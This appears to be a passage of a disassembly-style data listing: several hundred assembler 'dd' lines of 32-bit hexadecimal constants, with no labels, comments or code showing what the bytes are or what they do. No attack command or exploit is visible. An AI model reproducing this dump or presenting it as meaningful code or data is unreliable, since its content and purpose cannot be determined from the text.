dd 0E2E95FFAh, 0C193EBDFh, 125C7E98h, 30257868h, 0E92EB763h
dd 14161D32h, 67B0DA5Dh, 1F5E6F88h, 0E202C144h, 26279324h
dd 0D2880444h, 1A3930E9h, 45C1BB4Ch, 433D0200h, 4EDDC381h
dd 0E9B10D06h, 2228B65h, 0B5484DBEh, 67681768h, 0A024EB99h
dd 7E8F3F1Fh, 80CE297Ah, 2097E69Bh, 0C13801FDh, 0B7E906EEh
dd 90A6ADCCh, 9E4490F9h, 0E1C4E9E2h, 19D71D6Ah, 70C4ACC9h
dd 0F7B0543h, 99CB3144h, 0D55DA26Ch, 3F5B5158h, 110294BDh
dd 302601D6h, 0E6C108D0h, 4B6F9496h, 0F1C43329h, 0F0AF3DDFh
dd 453DE314h, 4051D310h, 2512EDE3h, 35003F14h, 35380A5Ch
dd 1CF76829h, 141C3408h, 87E17F14h, 8BFA683Ch, 7F6CE8B8h
dd 62DDBC3Fh, 5A011D3Ah, 0D520EF80h, 7F5B7EF8h, 0E9D609CAh
dd 0E9446ECCh, 45257090h, 4FBDA42Eh, 4C0F1083h, 0D3260810h
dd 415317E6h, 0EBC158FAh, 0B2A94205h, 0F708F860h, 2C7D948h
dd 0D2E44C9h, 63EB5901h, 0D704D821h, 15A2685Bh, 8430812h
dd 0C48A5213h, 137D6110h, 5906DA29h, 0FEB82B3h, 0F8315DEFh
dd 0A942CA4Bh, 689A8E82h, 1B3EE210h, 9E0177B9h, 5B080CF5h
dd 9D91021Eh, 1A663542h, 0E92AE396h, 73E9F051h, 960C25C1h
dd 0F5C4C00h, 7D68C805h, 0CBCE6149h, 6A25C9h, 5D5390FDh
dd 30C31458h, 18F3BB22h, 0E27B0C58h, 0E5AEDD09h, 2835E607h
dd 8999F771h, 2B7300D2h, 28EB2946h, 20968F5Dh, 0F70180ECh
dd 3CC50DD8h, 76F07247h, 8888B461h, 880E10E5h, 0EDF44AFEh
dd 3083C60Bh, 80858CB0h, 5E2CF229h, 7688AA87h, 0C6010117h
dd 68219E68h, 43E0C0A0h, 645029A8h, 8758E8FFh, 30036D10h
dd 0D6B859BBh, 37786Bh, 4E5BBDFCh, 2D7309EFh, 0AE0E2953h
dd 1805E865h, 88C9B207h, 3505E80h, 35616856h, 0F0C52EF7h
dd 9B03F64Dh, 89D108CAh, 0A4E9D9F0h, 0D029C651h, 3D2E08Bh
dd 0E422F712h, 350FD96Bh, 9AB52CCBh, 0E8864C09h, 0D3CFBEFAh
dd 2822CB22h, 2F49E352h, 0CCDD6B3Ah, 14784938h, 0A205E54Ch
dd 0A1161208h, 49A53857h, 631361Eh, 93EBB30Ch, 6816C058h
dd 98AC6746h, 0C1923199h, 0C6C315D4h, 0F8190074h, 515B4904h
dd 2805B3B5h, 0AC2C59E8h, 2DE9ADD8h, 683A58F6h, 0A3A8F771h
dd 5AC0F161h, 742CD5F7h, 12CE8A4Ah, 0CA86D6E9h, 202490C5h
dd 0B62876A2h, 0C4B28495h, 6AB85005h, 0EC0D1952h, 114025E7h
dd 5F22814h, 16FEBB70h, 93FDF1AEh, 0C600AD21h, 354F03DCh
dd 1E55E242h, 4048A9BDh, 5E5C157h, 510DF581h, 0AC496907h
dd 1041696h, 1D3E7DC7h, 9B1E2ABDh, 9C9EF240h, 1705379Dh
dd 42D525Fh, 8C633103h, 55485D7Eh, 277A2775h, 3200CD95h
dd 28BB5322h, 0B0C25413h, 39315EE2h, 429A32F7h, 3822591h
dd 94EF88A9h, 170357C1h, 4B6602h, 89F51A5h, 12C3680Dh
dd 0F11A544h, 0D6F78581h, 25C00752h, 8042C768h, 0CBA7DE9h
dd 0DC2BA04h, 82C23577h, 26FC7805h, 1391E47Bh, 0D2DFC604h
dd 0B44CDA17h, 2729CC4Fh, 704E2ADFh, 2BC6F825h, 0A5B6C3F0h
dd 28B5EBE0h, 29623F1Bh, 841E5F8h, 99EAA6E9h, 142B5FACh
dd 964A0432h, 585B5232h, 0CAA32D44h, 0C7588813h, 0F9435741h
dd 83E31A77h, 148427E2h, 8BF6D537h, 0C8335C1h, 0AB30ECF5h
dd 0FC3413ADh, 0E0BA013Eh, 607D0830h, 5A7BE9BFh, 0C6FE5FC4h
dd 4E602414h, 56400207h, 33EF012Ch, 5E13F92Eh, 0E8C1F120h
dd 0F3314C08h, 47721018h, 0FBD3332Ah, 305F114Dh, 7CE9EE4Ch
dd 806CBC0Fh, 4B0E7D92h, 0D7AADAF7h, 0EA701758h, 0A4E68505h
dd 569193E9h, 84DCFD31h, 8992B487h, 64662241h, 23306817h
dd 0E954B330h, 0B8E369C5h, 7A26AA65h, 0B06A0809h, 3C7E38E4h
dd 423B0EBEh, 6FD98B3Dh, 0C14A29C7h, 5CDF18E9h, 9FAA5FD8h
dd 0F25DF185h, 978BD44Bh, 0BC89D0Fh, 42DB8651h, 3EE3853Bh
dd 47797C93h, 30F0B020h, 8853E2B4h, 2710E748h, 0C4869AEEh
dd 4B577E98h, 0D54814F1h, 0D8EE5D6Bh, 2CE90244h, 489B63DFh
dd 350303E9h, 1E82504Fh, 1490B4F8h, 3ADA9725h, 0BE06D02Dh
dd 0E90D6CB3h, 2FD82830h, 123C1AC3h, 0A0890C40h, 0FD75F623h
dd 70090A4Ah, 6861213Dh, 0C5541E20h, 88812182h, 8B0A35ABh
dd 50E0C42Ch, 0C1F4A1E9h, 94D1F767h, 0C8B16013h, 8B177F9Eh
dd 3D2B633Dh, 2EEF692Eh, 2893CC3Eh, 44D95704h, 20585B07h
dd 0D2F6CAFEh, 6D6852F8h, 0EE09B718h, 277C6576h, 59DC2100h
dd 0A090221Ch, 5A13679Eh, 4DB64784h, 68404F3Dh, 2173EC2Ah
dd 0AD9244FAh, 0AC2B901h, 0C18365FEh, 410EE45h, 0D78712EEh
dd 50089B19h, 1953DB30h, 5845E963h, 0ADAD0456h, 0F13664h
dd 0AE779ABEh, 8284BE28h, 6CD146D5h, 52344CC0h, 0E07AB025h
dd 245908A6h, 8CA5C0E9h, 1510CB31h, 0B829D440h, 0C3892F01h
dd 7A850280h, 0E39025E4h, 8146B09h, 220D81Eh, 0E9FCE6B0h
dd 49EC1610h, 6F86812h, 0DC413E89h, 0CC4D5559h, 0F162C32h
dd 0A6B991BBh, 81BB38C4h, 9854DFB9h, 5912DC68h, 0D017F35Dh
dd 8983C823h, 0EF715450h, 74E290BEh, 0A96FF958h, 852044h
dd 7102CF81h, 0B0144C7Fh, 0B215AC04h, 44230072h, 27E96CA2h
dd 28495EF4h, 0B12C4138h, 1C765610h, 9E1AFF05h, 6CB3317Ch
dd 0A7CD294Bh, 80F34E0Ch, 0AAF9794Dh, 31B4C087h, 685B09D8h
dd 88985E98h, 364877E9h, 45B836Fh, 2CD881EEh, 3C1FF1D3h
dd 0D84A8A27h, 0D165CD77h, 369C5D62h, 2E68ECEDh, 69D666D7h
dd 7BE94B10h, 0FDA37054h, 3328A9B3h, 0F5567400h, 96C9817Ah
dd 3950243Fh, 0E94104E6h, 0C59EC6Ah, 601EA80h, 362C3EB5h
dd 88695896h, 422A689Eh, 72A03D06h, 9383ED49h, 9183D777h
dd 0AC0E45C3h, 9A3790E0h, 4AD77F7Ah, 0A5575008h, 0EE74B504h
dd 23AC46Fh, 12DC6856h, 41BEA499h, 0A7F52913h, 34234557h
dd 0C53EBD0Ch, 0B6C9E889h, 0ED586826h, 0B7721A00h, 96FE96Eh
dd 0E69A37ABh, 80951DECh, 79095EA9h, 51898229h, 2C0B7088h
dd 0B8E23C2Ch, 0DB1A754Dh, 0DB1E2F9Ch, 2A4AE090h, 6109129h
dd 0AD1C209h, 413C68E2h, 98677B55h, 0F199EE8Ch, 1FE62EF0h
dd 2BC84B72h, 6704378Bh, 6B75E8C4h, 0F9F70585h, 695DAA52h
dd 0E94886BCh, 1228F5F8h, 175A665Bh, 0B7EF305Fh, 38482C55h
dd 5BE87A70h, 2AB1511Eh, 29E9C802h, 3FC1FA75h, 3585F91Fh
dd 8114BCEDh, 593C6B99h, 0BFBA3075h, 6C642990h, 14E4F7D3h
dd 0C0D54D8Fh, 0C079234Bh, 57FE1E79h, 0F3D1C26Fh, 0C010A78Eh
dd 474350EBh, 319EB3F0h, 53595407h, 667E0682h, 9FBB6B14h
dd 255CCC80h, 12D115Ah, 81FBA2D3h, 6B27D4DEh, 0DF603DE2h
dd 0BFC963DDh, 0A434F9D7h
dd 0E46E0328h, 0FEF12D39h, 3150F6E9h, 0C175F7EAh, 6E7FA9EDh
dd 89E85949h, 9732EB01h, 156AFE7Ch, 4E9B864Ch, 882A74FCh
dd 605A805Fh, 0C9439A45h, 76E4F15Dh, 84490C3Dh, 0E02AE74h
dd 5368AE56h, 3C20404Eh, 3389E94Eh, 0E4C68BCEh, 97C88165h
dd 0C4720420h, 0C4CF292Ah, 0E90802CEh, 58796660h, 0EA0B549Bh
dd 4B5BD082h, 0D1693587h, 20C931h, 9AE654E9h, 4FF3021Ch
dd 89AC17B5h, 0CB70D478h, 0FCAD9C97h, 0C45FD04Eh, 5E75C28h
dd 5917191Eh, 12D07421h, 76E06B3h, 0A0002848h, 812E9057h
dd 454CBF2h, 0EAC14E4Fh, 660EE008h, 6292112h, 22D7FAD7h
dd 0DDC7B5D3h, 0EF852D37h, 7B7C9000h, 34E93282h, 0AC985D71h
dd 2E307887h, 0F9CBDFEEh, 693D1931h, 0C642864Bh, 6AC1A042h
dd 0DEC56D15h, 0F03B61DAh, 29B430CCh, 25CFED25h, 3101ACE2h
dd 0E7C15DEFh, 80204F08h, 0FD31FD87h, 0F5E90889h, 50585820h
dd 96DD8AB0h, 346809Fh, 20AD9F6h, 59CA88F4h, 6D93D030h
dd 0C548C3C2h, 17256866h, 8DD2110Bh, 0C2D525EFh, 54429249h
dd 3F4E8976h, 5FE05F27h, 761B5E10h, 8E8D001h, 0E9B0F25Ch
dd 0B8B3727Ah, 5AC57B0Dh, 9D107563h, 505A7E7Dh, 89C72490h
dd 74117DFBh, 975F7329h, 4B2B40ABh, 1511A05h, 0E8A1E249h
dd 112B6992h, 326B3FF2h, 1F72E040h, 0DCC07A5Ah, 76DD7046h
dd 95E20134h, 0E91C3B32h, 18E13CC1h, 0D682CF01h, 6A6D2705h
dd 0B9067494h, 70596B11h, 8AD1A32Ch, 0A4BC5948h, 5568C2C1h
dd 0E3C01FCAh, 53800F7Eh, 4FE209BBh, 2480507Dh, 11D95965h
dd 0C1D3F702h, 0D05307EBh, 4B5B179Dh, 83001356h, 9E485F43h
dd 24E8E43Ch, 35385727h, 4A4AE95Ch, 5451A306h, 74DD20B2h
dd 36F9BA00h, 0D08921A4h, 0EC38E95Ah, 81777493h, 20135C6Ah
dd 360E3B1h, 79B19CB6h, 0DF010967h, 4888835Bh, 0FCE94240h
dd 625CD369h, 0F75F68F9h, 5D001610h, 0EE81CE29h, 0A0121835h
dd 0F2B45938h, 39692DAh, 512EADBBh, 0B88C437Dh, 0D71180A5h
dd 9A018892h, 0E1839033h, 27E52DC0h, 5CE18D77h, 4C69A528h
dd 16BF0928h, 3C50344Ah, 5DE82113h, 4A84D7E0h, 77EF90F9h
dd 120E928h, 14F993F6h, 805A2851h, 1D600D70h, 0CA811B1Dh
dd 31D31F5Ch, 6103E392h, 4024054Bh, 1F800B5h, 5AD18971h
dd 3AEDE6E9h, 30EF2F30h, 5D1D3F3Fh, 79608A27h, 806CC0B1h
dd 58750646h, 5F16E020h, 6DD8B16h, 41DC1F01h, 48B50A0Ch
dd 1980C70h, 4BC764E2h, 0C6E9F001h, 65EF099Dh, 0F5013BEBh
dd 7B7753D9h, 92B2701h, 0C81AD3E9h, 80FA173Ah, 0F71E8166h
dd 0D489576Ch, 0D01FA5D2h, 742F6E9Dh, 0A2C2EC8Eh, 7E2A055h
dd 2DE960BEh, 756F775Bh, 30BE2B08h, 6DB5BB3Ah, 809D2075h
dd 292FE39Ah, 0D1183B84h, 3225E258h, 0AC76E932h, 0EA2DCA32h
dd 65DED969h, 7D88C1F6h, 0F2C5127Ah, 40459065h, 0B0985C63h
dd 2F61BE2Dh, 6033C9D5h, 70C680DAh, 0EED5E741h, 0E46160D6h
dd 0CB298069h, 6A5ED4A2h, 9257B42h, 1E0BF680h, 0BA7D3353h
dd 0FBC00BD7h, 5BE9D001h, 0BF8BC39Ah, 3D2E50D8h, 0B2DBD31h
dd 28A6FD31h, 21AE267Dh, 1CC11799h, 828392A5h, 9C8052F3h
dd 16AC0C1Ch, 0C99D4351h, 0AD9F41DBh, 6073FD22h, 23051CE9h
dd 3DE93A0Fh, 974261F0h, 14AC4E00h, 6E9022C5h, 5A352602h
dd 96D73102h, 4923B4F8h, 0A9713E85h, 3A790404h, 9B01402Ah
dd 836C1A0Dh, 0E1483E18h, 820C06FDh, 665E7603h, 0D36B1718h
dd 82C129C6h, 0B8307546h, 15EB5946h, 789A2935h, 2D0820B2h
dd 950113E9h, 2C6BD568h, 3D49D2D4h, 52F92C55h, 0CBC60FAh
dd 6678132Dh, 5C84E65h, 77E90704h, 265861E0h, 3D8EE1C1h
dd 7CE1400h, 2BCB0532h, 20087AEFh, 6AB6096Ch, 289C0500h
dd 4395AF0h, 0E9A60FD9h, 4ED9B7BFh, 9E527CF5h, 898D64CEh
dd 4C7BD2E5h, 8FA3A923h, 5B624750h, 672D84B6h, 0C1E7AC4Dh
dd 38A2E953h, 54570067h, 45BE565Fh, 1746176Ch, 0C1070E83h
dd 74680267h, 2FE9F330h, 9083F033h, 0DDFEE477h, 87D64F08h
dd 3F0A0013h, 17E459Bh, 0AC3FCD96h, 34035B5Eh, 0F7746467h
dd 0F3E9DD91h, 5A16CD3Ch, 0CBF61259h, 958320F8h, 0BC2B7B30h
dd 0F46C1BB5h, 0F0D41C10h, 1C722810h, 0D01FD62Ch, 1B884FBAh
dd 0A5394C5Fh, 47F0CEB3h, 0F6F84576h, 29C64104h, 72E489DFh
dd 2FD259E9h, 618F614Bh, 0C7A36C4Eh, 4F3458FBh, 2DFDC8A1h
dd 735AC310h, 0B539493Dh, 0FB0135EEh, 4B62BAD5h, 824F6738h
dd 8270DF73h, 70BA6877h, 4752C2F4h, 7090034h, 0E8C17E23h
dd 306C002h, 1905D0F7h, 7F163A1Dh, 0AC7C9240h, 4A2D67h
dd 0C1AE2A3Bh, 0E94803E0h, 0BF85EF60h, 144A2011h, 0DBF90133h
dd 206AD124h, 0D75A4A0Bh, 0BB6BA193h, 0C12EC6FFh, 7DA930C9h
dd 0DE538E42h, 0BD75825h, 312D6681h, 0A5A9E626h, 0D222E366h
dd 0BB3A2214h, 36A5CE05h, 0E9054912h, 0C2B7D4EDh, 20F724Fh
dd 0E3123324h, 0ED849E0h, 16E92FB7h, 0CC581B4h, 388F7EB2h
dd 601F920Ch, 0ED011D94h, 78E7364Ch, 4FE9A930h, 0D46F85E1h
dd 613AB4ADh, 14CFF64Ah, 360F277Fh, 32DE5927h, 0BE5166F4h
dd 0C90080A4h, 0E9153107h, 0D1F85AADh, 3C1FCFA1h, 39DC0B8h
dd 60B96796h, 0C1810BA1h, 400A4C0Eh, 0D8F12973h, 16970820h
dd 0CF01251Eh, 0B12A57C5h, 4B40F298h, 5EF1CC0h, 0D31BDE80h
dd 509DA0C5h, 5BCBB805h, 0ED0206B6h, 0F070B2F9h, 1AE9178Fh
dd 54008A3Bh, 62407E98h, 65680650h, 3445FC7Dh, 6619BA67h
dd 0A226DA5Ah, 5ADED31Dh, 67C88F6Dh, 1C33DB2h, 180E645Ch
dd 0A5F9346Ch, 9400F22Dh, 0CEFE8EB6h, 0EB58B498h, 0A5013FC1h
dd 0E6774254h, 0A878FF9Bh, 0E75E87A2h, 96B9F650h, 81044F8Bh
dd 3560F342h, 63E921E6h, 0BC4B3592h, 4BABD47Ch, 59A20BD2h
dd 6FE80F0Ah, 60A72A0Bh, 4B1B50CBh, 0E313C176h, 0CC004302h
dd 0A4C334BCh, 58F35829h, 714C7186h, 48A68CDCh, 0D1FB0BC9h
dd 6B6AD2h, 7D4321EFh, 28D0DD01h, 0F78B5A08h, 0D2CD184Ch
dd 6CCE430Ch, 0C380F50Eh, 36EB6068h, 0F2E7B753h, 65F60C7h
dd 0ACB050FCh, 0E9E0D004h, 49A86809h, 45515EC9h, 695213BFh
dd 1C8C6A64h, 5A4B40F2h, 1A07C798h, 89696C40h, 5E045CBh
dd 8D76A0E9h, 68D05054h, 0BAA1108h, 97521461h, 32CD7294h
dd 1B3319E5h, 45545C26h, 28DEB02Bh, 24ED048h, 0C058C308h
dd 0B39243E3h, 0FE659F04h, 0BA80CDA8h, 0DA92240h, 0A10262B8h
dd 0C156F675h, 12086BEAh, 0A05266D3h, 5D992C2Bh, 39D50900h
dd 0FAFD292Bh, 0D11D5E88h, 74B8B2A4h, 0ED0FBADDh, 6920946Dh
dd 5E119224h, 0EC1208D0h, 9E055901h, 0C0D2FE23h, 0E405F2Eh
dd 0F831EA5Dh, 304289C2h, 335C36EAh, 2513672Ch, 344E07B3h
dd 0D851F21h, 0F88570E9h, 0FCA159EBh, 2ED9D921h, 6A344345h
dd 0F34684B6h, 61C7165Ah, 3B76E966h, 15B8EE03h, 2933E879h
dd 65873C5h, 3E95DE8h, 80BC20D7h, 29C9656Fh, 9327F84Ch
dd 9865BE21h, 0E82D131Eh, 4F03D91Ah, 2D347E14h, 52E5092Bh
dd 4E32142Fh, 4AB8CBEFh, 582542B6h, 1A71251h, 0CE22E945h
dd 34B6402Bh, 5D68D921h, 246B23BEh, 0AFB2568Bh, 40319E10h
dd 0C45B35E2h, 0B1E29A27h, 8079C5CEh, 9259A5E2h, 0E927425Eh
dd 50DE8BCAh, 0EC9FE1Fh, 0C21580Dh, 9AB83DEh, 0CEF21CDFh
dd 0B30F0978h, 29C3FE3Ch, 5EC4023h, 72EF1E3Fh, 56219271h
dd 24FF1FD7h, 0CC28170Eh
dd 9E7AB82Eh, 291F8434h, 0AEA996h, 25D8F758h, 2A3D64FDh
dd 8DD0E92Ch, 45ED6881h, 36E86C7Dh, 0BB34C01Bh, 4ABF06CCh
dd 59AF0BBFh, 75EE6402h, 0C19E3F81h, 0FE7C104h, 20FE48ABh
dd 0F230B741h, 0C86F4BF2h, 1BD413C1h, 2EB12DCh, 0DBEDBC06h
dd 0AF4B014h, 4A5F9CF5h, 8A80CC0h, 43FAEA7Dh, 4246DB27h
dd 0E0DEC0DCh, 96D601ACh, 3FE9D821h, 0C22D8050h, 46233E26h
dd 0A46BB658h, 45D392C5h, 0E3B6D15Bh, 2DEF584Dh, 0CABF2258h
dd 9D9B5508h, 97133E8h, 0BE5A18BDh, 473014E4h, 80BCD0Fh
dd 9083D6F7h, 0DC9F6A4Ch, 1B2DE917h, 2C626601h, 80E1F9EBh
dd 0B457B353h, 0DC4C30E7h, 0E47025E5h, 203490D1h, 5F99F08Eh
dd 0B1B87C64h, 0D85C5F89h, 2226E961h, 0E3932B3Ch, 4B683AA6h
dd 9E5D22A1h, 0F7652BA7h, 0E4659D9Eh, 9E2D3F22h, 0A6FBB12h
dd 0A0705B0h, 34AA5759h, 1BD6012Dh, 7A1FDF4Fh, 0C29D4F05h
dd 5514B722h, 8305A894h, 0B6E902C0h, 0FE1E7FACh, 177A7CC9h
dd 0C155F180h, 16C4696h, 1A209134h, 21F74033h, 0B031D07Fh
dd 5BD80FC1h, 2F18E8D8h, 0D989C831h, 896BDB88h, 2B1011F3h
dd 710BAD94h, 66D131A2h, 955598DBh, 37515519h, 2674D55h
dd 59B47957h, 629C15Ah, 319123Ah, 0F60A9430h, 8EC73600h
dd 0E9A1761Dh, 720C4BC8h, 0C2C55673h, 7418272Ch, 712EE29h
dd 29E182F7h, 0B083D5F2h, 0F84C3066h, 48F143F6h, 3C542E08h
dd 903057D1h, 6D1F0506h, 80D1F71Eh, 92E0FD5Fh, 5AFEE160h
dd 7B59CF89h, 555F2601h, 0FE034989h, 46495CF8h, 0F0E0400Eh
dd 587EC7E4h, 5E85925Ah, 0BC2D4757h, 612A2625h, 9D5F0FDEh
dd 3EC9CF53h, 0A623ACEBh, 0EE410089h, 0DDF18121h, 460CFC58h
dd 602E1C1h, 410DD604h, 0EDE6ACF3h, 0A6CD71E9h, 2DC00350h
dd 5B3646E3h, 6733C27Dh, 74A555D0h, 7448317h, 890F502Dh
dd 0D7E008D6h, 0CA34B321h, 12B660C3h, 0B9D268ABh, 0A9295F7Bh
dd 0BD553480h, 78434E70h, 90EEBB00h, 0EB29D3E7h, 110D2DE9h
dd 0D2C1C113h, 4BCD6319h, 0B84CC98Ah, 0A852A38Bh, 9A89C34Eh
dd 606B09C1h, 41058C3h, 82B45A88h, 541B8960h, 2803CAAh
dd 6FD6537Ch, 7266B7FCh, 72AE25Dh, 0D2F723B9h, 27ADE256h
dd 0A16114C8h, 89A3FC09h, 0AA5385DDh, 642F9DECh, 992176C6h
dd 83199863h, 0A60BE381h, 2356F67h, 0E166765Eh, 0E47021CEh
dd 836354E9h, 4A023C05h, 402D7500h, 297A0860h, 7A0F87Ch
dd 504A6B68h, 190247CDh, 0C07C229h, 9F7CD9Ch, 4468256Bh
dd 0A9F4C600h, 29093EE7h, 0EF3C8BF9h, 5A5C8E73h, 0CBFE3B6h
dd 0E4C8BE0Fh, 6C5358C6h, 0ECB3A7C4h, 0EAE3E7ECh, 0F0AD3B20h
dd 2AD3E398h, 0C3E4D831h, 0CBFE08DEh, 0C82CEE00h, 4C98B252h
dd 5E146D28h, 0E9D2D93Fh, 596984F6h, 13CBC413h, 0CA81A20Ch
dd 6CA7ADA6h, 648CC901h, 2A074431h, 9F684918h, 77B83D67h
dd 33890AA5h, 0C180CD00h, 0CE4A3090h, 0F6C014B2h, 0C01FE9AEh
dd 10D6B495h, 50482BE9h, 7E2E6535h, 932095D6h, 556781Ch
dd 2E528179h, 2DD00108h, 0F05A0742h, 94E92F18h, 315F9E02h
dd 0CE2DB854h, 129A9A1Fh, 0F8E5107Bh, 443824h, 0EF81528Ch
dd 49AA6E70h, 307F0A26h, 29186AA9h, 68741E6Ch, 9C75E9F8h
dd 5B6F9ABFh, 0CA0293D5h, 0D314546Ch, 0C88D196h, 0C11927D8h
dd 60F66806h, 0B4238B7Eh, 6B829F28h, 6603D241h, 4BABB953h
dd 889E8D29h, 501305Bh, 25FE7EA3h, 95650BE8h, 595C4720h
dd 682D6E0Fh, 543E60Eh, 70A6A4B9h, 0E50C8092h, 1476C818h
dd 6451ED01h, 0CD0148A7h, 2D081CA0h, 0D561CBE9h, 0D0992A5Bh
dd 1291C161h, 0A3A29602h, 0FC665C85h, 0B2168449h, 686DB412h
dd 1647C027h, 44012E36h, 0C7E9614Dh, 130779D2h, 0F5292A65h
dd 255AF880h, 4D452FD1h, 0DC4D6DDh, 5BAF731h, 0A7F28950h
dd 0B25E220Ch, 0AEE91012h, 31803B01h, 503006BBh, 5EC793F3h
dd 517C323Ah, 0E89263E5h, 0D39811BCh, 6827D088h, 271066A7h
dd 0D6E273E9h, 5E1E3B51h, 0DC49F4D7h, 98440097h, 0F8AB0A9Eh
dd 0C9B54990h, 0CC595413h, 8F2E686Eh, 5D456A4Ah, 0F47B2DCAh
dd 34A99B1h, 0CD451B8h, 81BAB29Ch, 80205C68h, 60BA2620h
dd 0C3ED4B5Ah, 1848D015h, 5248000Bh, 0CCE9231Dh, 0E967BC08h
dd 0A4091284h, 0B913F7C1h, 46E02B07h, 0AFC50032h, 87CF29B4h
dd 40B85FF9h, 3417CAC1h, 0E9D52E03h, 79AEE964h, 46F14828h
dd 219F2B7Ah, 1FEE2C6Bh, 0F029930Ah, 0D1398885h, 0CA5874F6h
dd 0B342C90h, 2005B363h, 0BA013698h, 3C6FDA62h, 983AD331h
dd 39404370h, 0E159725Bh, 8C3522Bh, 0B4056191h, 77A866D4h
dd 1ED7F61Dh, 805B00FCh, 0E1282AECh, 1C90584Dh, 59621E9h
dd 6135414Fh, 57EF708Ch, 652481F5h, 5F2EA42h, 0C90DE130h
dd 1086E389h, 124E296Bh, 0CFD5A808h, 0E615EE81h, 0B0C37FCh
dd 3EFF35B0h, 0C151A9D0h, 140CA008h, 556460B2h, 0ABA869CAh
dd 8FF5297h, 5AA42A33h, 0FBFF6806h, 4EB3FAA4h, 3182C8D5h
dd 20CB5C49h, 0D4CE2A1Ch, 9299BC0Fh, 0E4307456h, 94B7692Fh
dd 0B0EA356Ch, 0FC8D4943h, 0C67BB529h, 3200A12h, 3D4ABDCBh
dd 85AD2252h, 18550162h, 0B2B968BAh, 6988B90Ch, 0CD4011CCh
dd 29D74088h, 84499796h, 7135397h, 7273101Bh, 0F740C16Eh
dd 0B02D825h, 0E9522C12h, 2AF5CB6h, 486935B9h, 6188F182h
dd 0C0495679h, 9B2ABCCBh, 89B01C9h, 60415B5Dh, 3B9D400Ah
dd 62502F5Eh, 9352A2C2h, 9882375Ah, 41F04001h, 1E059049h
dd 8F0C4D21h, 7889CE31h, 0DEF7B5A2h, 517B4570h, 0ADAF7D60h
dd 12326853h, 0F50DE749h, 0E96720ECh, 8AC3A94Eh, 0D3748F4Bh
dd 7C5806D2h, 0AF31C3C8h, 0BABF262Dh, 0D0E448B4h, 60642776h
dd 0FE98B8C3h, 0BA2EE81h, 0BB44BCCAh, 683224FFh, 0E90C6D2Eh
dd 765D06C0h, 87809536h, 548EC7F3h, 0D8E9B309h, 0EB6CA0FAh
dd 48483265h, 0DC0C2D2Dh, 0FB78743Eh, 68081CD0h, 0EA20141Ch
dd 0ACBDB5D2h, 0E9580802h, 82F9D212h, 5D112CBDh, 5AEB942h
dd 4B890C21h, 9209808Eh, 792910BAh, 5B8D2060h, 0FC0E41C8h
dd 70638042h, 78173ECEh, 73012EA5h, 485693A8h, 48B9B23Ch
dd 3A050116h, 0DBE96244h, 0B1ED53B4h, 215909E4h, 65ADE5F9h
dd 75E98633h, 0CD043B1Fh, 4E3A5A5Bh, 4178FFA8h, 686C304Bh
dd 692865F2h, 76598C72h, 46AD244Ch, 70F63216h, 0C31B1225h
dd 6E6B1BC1h, 91326E3Dh, 1C58FA9Ch, 0AC037726h, 0DCB23F79h
dd 0D7405E0Ch, 644C1171h, 1C6510E2h, 4E2C10Ah, 8AFC1DA3h
dd 27F48A94h, 0CC11172h, 151322B4h, 0D166E400h, 3150795Ch
dd 3A536C57h, 0AC284893h, 59CA04AAh, 7481D588h, 44DE66E8h
dd 0B1E0C465h, 0A0E8C2A9h, 625009E2h, 0BDC23126h, 740EAD1Ah
dd 0B748EB39h, 4F58EB68h, 8350CBB1h, 0FA0B2E52h, 8CC08141h
dd 87E47B74h, 0DFF732FDh, 0B0C2D509h, 6B4FE0F1h, 0CF22581Bh
dd 0F294C4A2h, 0B05053B0h, 0CCE01D4Bh, 31F6414Ch, 0DF7A4022h
dd 5A2C4626h, 1F014D48h, 0DB351E10h, 0EB60E1D9h, 0A9A0B795h
dd 6640D5F2h, 925F1D7Bh, 0D5ACE713h, 532D3F48h, 5C92B6EDh
dd 0D8119BBDh, 11728447h, 51535800h, 0F66361B5h, 2DB27EEh
dd 5A98EB79h, 968015BBh, 0D375481Fh, 5D4E317Ch, 0DCE171C5h
dd 82111EA5h, 7B4E3F8Ch, 55039AC2h, 333F1B00h, 1AC04678h
dd 0BC832EB5h, 3D866AE9h, 135B279Fh, 0D153A96Bh, 767AA5F1h
dd 9C335E01h, 0D02AE963h
dd 58E22800h, 0B72510B8h, 0C0DB42CAh, 73CF8013h, 19F73CA4h
dd 0B7DDF3Ch, 66FA085Fh, 6783F2E4h, 0E91FF2F8h, 0FD126A5Ah
dd 35162E5Eh, 7CB5DC81h, 76F9571h, 95685F34h, 0F9788D6Eh
dd 27AC3C34h, 4B3A4659h, 53482166h, 80E94DACh, 0B15152B2h
dd 9067B275h, 0B2E97389h, 735A4C4h, 0D51C26CFh, 0D2A16F6Ch
dd 0FC375806h, 0F7B801EFh, 4F23840Eh, 5FFAE4A5h, 4342AEF3h
dd 0B0C8E916h, 0F1ED5409h, 99372A0Ch, 61E818F3h, 685C351Eh
dd 2F22270Fh, 0CB9E68ABh, 5D2A13F8h, 0F9C60172h, 3C780862h
dd 28B40B8Bh, 907D50FDh, 635C08AFh, 88000D61h, 146D938h
dd 81CD0D6h, 25141C68h, 0D2249CE5h, 3016C6CBh, 0B990E4BEh
dd 302C499Ah, 8401C66Dh, 894C64F0h, 4CB69238h, 8775140Ch
dd 5F87631h, 0E908BE1Ch, 6D8DE156h, 3B190031h, 0F5210B46h
dd 58C1485Eh, 25C4524h, 0AFA7096Dh, 0E9378155h, 356E6860h
dd 9DC694EBh, 6B0DA84Bh, 4E9579Eh, 23980CBBh, 33514150h
dd 0EC907D95h, 60BB0DE0h, 9A523400h, 0BC4C290Fh, 0E6564949h
dd 0C62CE961h, 46704F7Fh, 0AE231DA4h, 3311F0Bh, 0B5D901A7h
dd 0A9B456ECh, 90E985D7h, 0CC5AD5FCh, 58C1566Ch, 4AAF424Dh
dd 6771A60h, 9359D4Fh, 12908BCBh, 74A07DB2h, 0E150C0D4h
dd 374A85B8h, 0EFC568D0h, 11D311Bh, 59E2C76Ah, 7CC073C5h
dd 55BA6D1Dh, 0F25EC049h, 0E1F7393Dh, 8E0688Eh, 0B4F5C7F2h
dd 9AB98150h, 0DBF007AAh, 607F4602h, 0F747B75Eh, 834BE975h
dd 0A222D412h, 21ACE505h, 0AC019244h, 6AC418ADh, 120ACA99h
dd 0E2559E05h, 90BE80FBh, 257D6357h, 9BA7E8E9h, 0B01E74F4h
dd 0DA4AF752h, 0A03F8AD2h, 0CB1B08Bh, 4B06F2B4h, 101C262Bh
dd 0F0D1F365h, 0DEA50797h, 125C6CF0h, 0D31C6F21h, 0A9EC8B9Fh
dd 0E1CCDE99h, 489443BEh, 0D6DCF10Ah, 0C1D41FE3h, 96A725Eh
